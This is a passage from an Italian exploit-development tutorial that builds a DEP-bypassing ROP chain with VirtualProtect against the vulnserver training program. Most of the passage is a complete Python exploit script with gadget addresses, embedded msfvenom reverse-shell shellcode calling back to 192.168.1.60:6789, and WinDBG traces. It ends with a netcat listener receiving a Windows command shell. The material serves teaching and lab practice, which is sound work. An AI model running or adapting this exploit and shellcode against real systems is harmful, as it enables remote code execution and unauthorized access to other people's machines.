eax=00d6f1e8 ebx=0000000c ecx=62506f10 edx=00003ba7 esi=00401848 edi=00401848
eip=62501022 esp=00d6f9d8 ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
essfunc!EssentialFunc9+0xd:
6250120d c3              ret
0:003> r ecx
ecx=62506f10

Come si può vedere la chain inizia a formarsi. Da questo punto in poi non eseguirò ogni volta i passaggi anche su WinDBG ma lo lascio come esercizio al lettore :).

Ciò che consiglio di fare è assegnare alla variabile rop di volta un registro alla volta. In questo modo si può vedere se ogni pezzo della chain è corretto e punta all’indirizzo esatto.

EDX

Ora dobbiamo inserire 0x40 in ECX. Possiamo farlo in diversi modi, la modalità più comoda è fare delle operazioni incrementali in modo da raggiungere 0x40. Cercando tra i gadget di vulnserver non ci sono operazioni di quel tipo, quindi dobbiamo cercarli in moduli del sistema. Poiché i moduli di Windows sono compilati con ASLR, li otterremo dinamicamente da WinDBG con il comando

!py mona rop -m 'msvcrt,ntdll' -cpb '\x00'

Operazioni incrementali su EDX non ce ne sono, quindi utilizzeremo un altro registro (EAX) per salvare 0x40 e poi copieremo quel valore dentro EDX.

Le operazioni che effettueremo saranno:

0x771073d0 (RVA : 0x000973d0) : # XOR EAX,EAX # RETN    ** [ntdll.dll] **: per svuotare EAX
0x7593616f (RVA : 0x0003616f) : # ADD EAX,8 # RETN    ** [msvcrt.dll] ** : per incrementarlo di 8 e lo ripeteremo 8 volte (per arrivare a 64, 0x40)
0x77173a4a (RVA : 0x00103a4a) : # XCHG EAX,EDX # RETN    ** [ntdll.dll] **: per avere il valore di eax in edx.

Lo script sarà quindi aggiornato cosi

….
#### EDX { DONE}
edx = struct.pack("<I",0x771073d0)  # XOR EAX,EAX # RETN
edx += struct.pack("<I",0x7593616f) # ADD EAX,8 # RETN - 8
edx += struct.pack("<I",0x7593616f) # ADD EAX,8 # RETN - 16
edx += struct.pack("<I",0x7593616f) # ADD EAX,8 # RETN - 24
edx += struct.pack("<I",0x7593616f) # ADD EAX,8 # RETN - 32
edx += struct.pack("<I",0x7593616f) # ADD EAX,8 # RETN - 40
edx += struct.pack("<I",0x7593616f) # ADD EAX,8 # RETN - 48
edx += struct.pack("<I",0x7593616f) # ADD EAX,8 # RETN - 56
edx += struct.pack("<I",0x7593616f) # ADD EAX,8 # RETN - 64
edx += struct.pack("<I",0x77173a4a) # XCHG EAX,EDX # RETN
…..

EBX

Molto simile al precedente, dobbiamo avere 0x201 in EBX. Invece che incrementare andremo ad aggiungere il valore negato di 0x201 in EAX, negarlo e poi copiarlo in EBX.

0:000> ? - 201
Evaluate expression: -513 = fffffdff

Nello script aggiungo:

…..
#### EBX {DONE}
ebx = pack("<I",0x625011b4) #0x625011b4: pop eax ; ret --> essfunc.dll
ebx += pack("<I",0xfffffdff) # -201
ebx += pack("<I",0x758b29f8) # NEG EAX # RETN    ** [KERNEL32.DLL] **  
ebx += pack("<I",0x75fa5599) # XCHG EAX,EBX # RETN    ** [RPCRT4.dll] **
……

EBP

Cerchiamo una call a EBP con mona:

!py mona jmp -r esp -cpb '\x00' 

[+] Results : 
0x625011af |   0x625011af : jmp esp |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\User\Desktop\vulnserver\essfunc.dll)
0x625011bb |   0x625011bb : jmp esp |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\User\Desktop\vulnserver\essfunc.dll)
0x625011c7 |   0x625011c7 : jmp esp |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\User\Desktop\vulnserver\essfunc.dll)
0x625011d3 |   0x625011d3 : jmp esp |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\User\Desktop\vulnserver\essfunc.dll)

Quindi diventerà:

……………
#### POP {DONE}
ebp = pack("<I",0x75f88337)# POP EBP # RETN    ** [RPCRT4.dll] ** 
ebp += pack("<I",0x625011af) # jmp esp |  {PAGE_EXECUTE_READ} [essfunc.dll] 
……………

ESI

Ora abbiamo bisogno di un PTR a VirtualProtect (0x6250609c). Ciò significa che abbiamo l’indirizzo dell’API di VirtualProtect ma ci serve una DWORD, non solo un indirizzo. Usando sempre EAX come registro di appoggio, gli step saranno:

  1. Fare il POP di EAX
  2. Inserire al suo interno 0x6250609c
  3. Fare una MOV in modo da estrarre il puntatore e portarlo in EAX
  4. Copiare il tutto in ESI

I gadget per questa operazione sono:

….
#### ESI {DONE}
esi = pack("<I",0x625011b4  ) 0x625011b4  # pop eax; ret; --> essfunc.dll
esi += pack("<I",0x6250609c) #0x6250609c: indirizzo di VirtualProtect
esi += pack("<I",0x75fbe619) # MOV EAX,DWORD PTR [EAX] # RETN    ** [RPCRT4.dll] **   
esi += pack("<I",0x75a01470)  # XCHG EAX,ESI # RETN    ** [WS2_32.DLL] **
…..

EDI

Per concluderte inseriamo il POP EDI e il PUSHAD finale:

edi = struct.pack("<I",0x759ca9e1) # POP EDI # RETN    ** [WS2_32.DLL] ** 
edi += rop_nop

pushad = struct.pack("<I",0x759dcf3f) # PUSHAD # RETN    ** [WS2_32.DLL] ** 

Exploit

Non ci rimane che inserire tutto nello script ed aggiungere lo shellcode alla fine della chain.

L’ordinamento è importante, perché bisogna stare attenti che nessun registro venga intaccato durante l’esecuzione. Per esempio, in ESI abbiamo utilizzato EAX come registro d’appoggio, per cui andrà prima di EAX, altrimenti il valore di EAX non sarà più quello che vogliamo.

Lo script finale sarà:

import struct 
import socket

TARGET_IP = "127.0.0.1"
TARGET_PORT = 9999
target = (TARGET_IP, TARGET_PORT)  # vulnserver

VULNSRVR_CMD = b"TRUN ."  
CRASH_LEN = 6000 
OFFSET = 2006  

######
#EAX 90909090 => Nop {DONE}                                                
#ECX 0x62506f00 => flProtect {DONE}                     
#EDX 00000040 => flNewProtect {DONE}
#EBX 00000201 => dwSize - 513 {DONE}                                        
#ESP ???????? => Leave as is                                         
#EBP ???????? => Call to ESP (jmp, call, push,..)  {DONE}                  
#ESI ???????? => PTR to VirtualAlloc - DWORD PTR of 0x6250609c {DONE}      
#EDI ???????? => ROP-Nop {DONE}
######

rop_nop = struct.pack("<I",0x62501022) # RETN
#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.60 LPORT=6789  -f python -v shellcode -b '\x00' EXITFUNC=thread
shellcode =  b""
shellcode += b"\xdb\xc8\xbe\xa4\x0f\xf4\x81\xd9\x74\x24\xf4"
shellcode += b"\x5f\x29\xc9\xb1\x52\x31\x77\x17\x83\xc7\x04"
shellcode += b"\x03\xd3\x1c\x16\x74\xe7\xcb\x54\x77\x17\x0c"
shellcode += b"\x39\xf1\xf2\x3d\x79\x65\x77\x6d\x49\xed\xd5"
shellcode += b"\x82\x22\xa3\xcd\x11\x46\x6c\xe2\x92\xed\x4a"
shellcode += b"\xcd\x23\x5d\xae\x4c\xa0\x9c\xe3\xae\x99\x6e"
shellcode += b"\xf6\xaf\xde\x93\xfb\xfd\xb7\xd8\xae\x11\xb3"
shellcode += b"\x95\x72\x9a\x8f\x38\xf3\x7f\x47\x3a\xd2\x2e"
shellcode += b"\xd3\x65\xf4\xd1\x30\x1e\xbd\xc9\x55\x1b\x77"
shellcode += b"\x62\xad\xd7\x86\xa2\xff\x18\x24\x8b\xcf\xea"
shellcode += b"\x34\xcc\xe8\x14\x43\x24\x0b\xa8\x54\xf3\x71"
shellcode += b"\x76\xd0\xe7\xd2\xfd\x42\xc3\xe3\xd2\x15\x80"
shellcode += b"\xe8\x9f\x52\xce\xec\x1e\xb6\x65\x08\xaa\x39"
shellcode += b"\xa9\x98\xe8\x1d\x6d\xc0\xab\x3c\x34\xac\x1a"
shellcode += b"\x40\x26\x0f\xc2\xe4\x2d\xa2\x17\x95\x6c\xab"
shellcode += b"\xd4\x94\x8e\x2b\x73\xae\xfd\x19\xdc\x04\x69"
shellcode += b"\x12\x95\x82\x6e\x55\x8c\x73\xe0\xa8\x2f\x84"
shellcode += b"\x29\x6f\x7b\xd4\x41\x46\x04\xbf\x91\x67\xd1"
shellcode += b"\x10\xc1\xc7\x8a\xd0\xb1\xa7\x7a\xb9\xdb\x27"
shellcode += b"\xa4\xd9\xe4\xed\xcd\x70\x1f\x66\x32\x2c\x1e"
shellcode += b"\x4a\xda\x2f\x20\xa8\x9f\xb9\xc6\xa6\x8f\xef"
shellcode += b"\x51\x5f\x29\xaa\x29\xfe\xb6\x60\x54\xc0\x3d"
shellcode += b"\x87\xa9\x8f\xb5\xe2\xb9\x78\x36\xb9\xe3\x2f"
shellcode += b"\x49\x17\x8b\xac\xd8\xfc\x4b\xba\xc0\xaa\x1c"
shellcode += b"\xeb\x37\xa3\xc8\x01\x61\x1d\xee\xdb\xf7\x66"
shellcode += b"\xaa\x07\xc4\x69\x33\xc5\x70\x4e\x23\x13\x78"
shellcode += b"\xca\x17\xcb\x2f\x84\xc1\xad\x99\x66\xbb\x67"
shellcode += b"\x75\x21\x2b\xf1\xb5\xf2\x2d\xfe\x93\x84\xd1"
shellcode += b"\x4f\x4a\xd1\xee\x60\x1a\xd5\x97\x9c\xba\x1a"
shellcode += b"\x42\x25\xda\xf8\x46\x50\x73\xa5\x03\xd9\x1e"
shellcode += b"\x56\xfe\x1e\x27\xd5\x0a\xdf\xdc\xc5\x7f\xda"
shellcode += b"\x99\x41\x6c\x96\xb2\x27\x92\x05\xb2\x6d"

#### EAX - {DONE} 
eax = struct.pack("<I",0x625011b4) #0x625011b4: pop eax ; ret 
eax += struct.pack("<I",0x90909090) # NOP

#### ECX {DONE}
ecx = struct.pack("<I",0x6250120c)  # pop ecx; ret;
ecx += struct.pack("<I",0x62506f10) # RW page

#### EDX { DONE}
edx = struct.pack("<I",0x771073d0)  # XOR EAX,EAX # RETN
edx += struct.pack("<I",0x7593616f) # ADD EAX,8 # RETN - 8
edx += struct.pack("<I",0x7593616f) # ADD EAX,8 # RETN - 16
edx += struct.pack("<I",0x7593616f) # ADD EAX,8 # RETN - 24
edx += struct.pack("<I",0x7593616f) # ADD EAX,8 # RETN - 32
edx += struct.pack("<I",0x7593616f) # ADD EAX,8 # RETN - 40
edx += struct.pack("<I",0x7593616f) # ADD EAX,8 # RETN - 48
edx += struct.pack("<I",0x7593616f) # ADD EAX,8 # RETN - 56
edx += struct.pack("<I",0x7593616f) # ADD EAX,8 # RETN - 64
edx += struct.pack("<I",0x77173a4a) # XCHG EAX,EDX # RETN

#### EBX {DONE}
ebx = struct.pack("<I",0x625011b4) #0x625011b4: pop eax ; ret --> essfunc.dll
ebx += struct.pack("<I",0xfffffdff) # -201
ebx += struct.pack("<I",0x758b29f8) # NEG EAX # RETN    ** [KERNEL32.DLL] **  
ebx += struct.pack("<I",0x75fa5599) # XCHG EAX,EBX # RETN    ** [RPCRT4.dll] **   

#### EBP {DONE}
ebp = struct.pack("<I",0x75f88337)# POP EBP # RETN    ** [RPCRT4.dll] ** 
ebp += struct.pack("<I",0x625011af) # jmp esp |  {PAGE_EXECUTE_READ} [essfunc.dll] 

#### ESI {DONE}
esi = struct.pack("<I",0x625011b4  ) # pop eax; ret; --> essfunc.dll
esi += struct.pack("<I",0x6250609c) #0x6250609c: indirizzo di VirtualProtect
esi += struct.pack("<I",0x75fbe619) # MOV EAX,DWORD PTR [EAX] # RETN    ** [RPCRT4.dll] **   
esi += struct.pack("<I",0x75a01470)  # XCHG EAX,ESI # RETN    ** [WS2_32.DLL] **

#### EDI
edi = struct.pack("<I",0x759ca9e1) # POP EDI # RETN    ** [WS2_32.DLL] ** 
edi += rop_nop

#### PUSHAD
pushad = struct.pack("<I",0x759dcf3f) # PUSHAD # RETN    ** [WS2_32.DLL] ** 

rop = esi 
rop += ebx 
rop += edx 
rop += edi 
rop += ebp 
rop += ecx 
rop += eax 
rop += pushad 

nop = b"\x90"*16

payload = VULNSRVR_CMD
payload += b"A" * OFFSET
payload += rop_nop # ROP NOP
payload += rop
payload += nop
payload += shellcode
payload += b"C" * (CRASH_LEN - len(payload))

with socket.create_connection(target) as sock:
    sock.recv(512)  # Welcome to Vulnerable Server! ... 

    sent = sock.send(payload)
    print(f"sent {sent} bytes")

Metto un breakpoint sul rop_nop ed eseguo con windbg passo passo per vedere se tutti i registri sono stati formati correttamente:

0:003> bp 0x62501022
0:003> g
Breakpoint 0 hit
eax=00e8f1e8 ebx=0000000c ecx=001854b0 edx=0000f80b esi=00401848 edi=00401848
eip=62501022 esp=00e8f9c8 ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
essfunc+0x1022:
62501022 c3              ret

0:003> p
eax=00e8f1e8 ebx=0000000c ecx=001854b0 edx=0000f80b esi=00401848 edi=00401848
eip=625011b4 esp=00e8f9cc ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
essfunc!EssentialFunc2+0x8:
625011b4 58              pop     eax

0:003> p
eax=6250609c ebx=0000000c ecx=001854b0 edx=0000f80b esi=00401848 edi=00401848
eip=625011b5 esp=00e8f9d0 ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
essfunc!EssentialFunc2+0x9:
625011b5 c3              ret

0:003> p
eax=6250609c ebx=0000000c ecx=001854b0 edx=0000f80b esi=00401848 edi=00401848
eip=75fbe619 esp=00e8f9d4 ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
RPCRT4!BINDING_HANDLE::GetAuthenticationLevel+0x26:
75fbe619 8b00            mov     eax,dword ptr [eax]  ds:0023:6250609c={KERNEL32!VirtualProtectStub (75885c90)}

0:003> p
eax=75885c90 ebx=0000000c ecx=001854b0 edx=0000f80b esi=00401848 edi=00401848
eip=75fbe61b esp=00e8f9d4 ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
RPCRT4!BINDING_HANDLE::GetAuthenticationLevel+0x28:
75fbe61b c3              ret

0:003> p
eax=75885c90 ebx=0000000c ecx=001854b0 edx=0000f80b esi=00401848 edi=00401848
eip=75a01470 esp=00e8f9d8 ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
WS2_32!DCATALOG::WriteToRegistry+0x214:
75a01470 96              xchg    eax,esi

0:003> p
eax=00401848 ebx=0000000c ecx=001854b0 edx=0000f80b esi=75885c90 edi=00401848
eip=75a01471 esp=00e8f9d8 ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
WS2_32!DCATALOG::WriteToRegistry+0x215:
75a01471 c3              ret

0:003> dd 6250609c L1
6250609c  75885c90

0:003> r esi
esi=75885c90

ESI punta a VirtualAlloc, passo al successivo:

0:003> p
eax=00401848 ebx=0000000c ecx=001854b0 edx=0000f80b esi=75885c90 edi=00401848
eip=625011b4 esp=00e8f9dc ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
essfunc!EssentialFunc2+0x8:
625011b4 58              pop     eax

0:003> p
eax=fffffdff ebx=0000000c ecx=001854b0 edx=0000f80b esi=75885c90 edi=00401848
eip=625011b5 esp=00e8f9e0 ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
essfunc!EssentialFunc2+0x9:
625011b5 c3              ret

0:003> p
eax=fffffdff ebx=0000000c ecx=001854b0 edx=0000f80b esi=75885c90 edi=00401848
eip=758b29f8 esp=00e8f9e4 ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
KERNEL32!IsHijriLeapYear+0x2b:
758b29f8 f7d8            neg     eax

0:003> p
eax=00000201 ebx=0000000c ecx=001854b0 edx=0000f80b esi=75885c90 edi=00401848
eip=758b29fa esp=00e8f9e4 ebp=41414141 iopl=0         nv up ei pl nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000213
KERNEL32!IsHijriLeapYear+0x2d:
758b29fa c3              ret

0:003> p
eax=00000201 ebx=0000000c ecx=001854b0 edx=0000f80b esi=75885c90 edi=00401848
eip=75fa5599 esp=00e8f9e8 ebp=41414141 iopl=0         nv up ei pl nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000213
RPCRT4!NdrpClientUnMarshal+0x539:
75fa5599 93              xchg    eax,ebx

0:003> p
eax=0000000c ebx=00000201 ecx=001854b0 edx=0000f80b esi=75885c90 edi=00401848
eip=75fa559a esp=00e8f9e8 ebp=41414141 iopl=0         nv up ei pl nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000213
RPCRT4!NdrpClientUnMarshal+0x53a:
75fa559a c3              ret

0:003> r ebx
ebx=00000201

Anche EBX contiene la variabile corretta, continuo l’esecuzione:

0:003> p
eax=0000000c ebx=00000201 ecx=001854b0 edx=0000f80b esi=75885c90 edi=00401848
eip=771073d0 esp=00e8f9ec ebp=41414141 iopl=0         nv up ei pl nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000213
ntdll!strcmp+0x40:
771073d0 33c0            xor     eax,eax

0:003> 
eax=00000000 ebx=00000201 ecx=001854b0 edx=0000f80b esi=75885c90 edi=00401848
eip=771073d2 esp=00e8f9ec ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ntdll!strcmp+0x42:
771073d2 c3              ret

0:003> 
eax=00000000 ebx=00000201 ecx=001854b0 edx=0000f80b esi=75885c90 edi=00401848
eip=7593616f esp=00e8f9f0 ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
msvcrt!_errno+0xf:
7593616f 83c008          add     eax,8

0:003> 
eax=00000008 ebx=00000201 ecx=001854b0 edx=0000f80b esi=75885c90 edi=00401848
eip=75936172 esp=00e8f9f0 ebp=41414141 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
msvcrt!_errno+0x12:
75936172 c3              ret

…..
eax=00000040 ebx=00000201 ecx=001854b0 edx=0000f80b esi=75885c90 edi=00401848
eip=77173a4a esp=00e8fa10 ebp=41414141 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
ntdll!EtwpInitializeCompression+0x16:
77173a4a 92              xchg    eax,edx

0:003> 
eax=0000f80b ebx=00000201 ecx=001854b0 edx=00000040 esi=75885c90 edi=00401848
eip=77173a4b esp=00e8fa10 ebp=41414141 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
ntdll!EtwpInitializeCompression+0x17:
77173a4b c3              ret

0:003> r edx
edx=00000040

E via cosi fino all’ultimo registro. Continuo l’esecuzione fino alla chiamata a VirtualProtect.

Guardando i registri hanno tutti il valore che volevamo! Non ci resta che metterci in ascolto sulla kali e proseguire con l’esecuzione:

kali@kali:~$ nc -nlvp 6789
listening on [any] 6789 ...
connect to [192.168.1.60] from (UNKNOWN) [192.168.1.14] 1303
Microsoft Windows [Version 10.0.19044.1706]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
desktop-p7jng2j\user

Conclusioni

Se siete arrivati fino a qui, complimenti, avete creato con successo la prima chain ROP! Come potete vedere dai vari gadget, bisogna trovare la strada giusta (e ce ne possono essere diverse) per avere il valore giusto in ogni registro. Nel prossimo articolo vedremo la tecnica sniper su EasyRMtoMP3Converter.

Alcune risorse che mi sono state molto utili nel capire l’argomento:

  1. https://www.corelan.be/index.php/2010/06/16/exploit-writing-tutorial-part-10-chaining-dep-with-rop-the-rubikstm-cube/
  2. https://vickieli.dev/binary%20exploitation/data-execution-prevention/
  3. https://connormcgarr.github.io/ROP/
  4. https://trailofbits.files.wordpress.com/2010/04/practical-rop.pdf
  5. https://www.fuzzysecurity.com/tutorials/expDev/7.html
  6. https://h0mbre.github.io/Creating_Win32_ROP_Chains
  7. https://www.shogunlab.com/blog/2018/02/11/zdzg-windows-exploit-5.html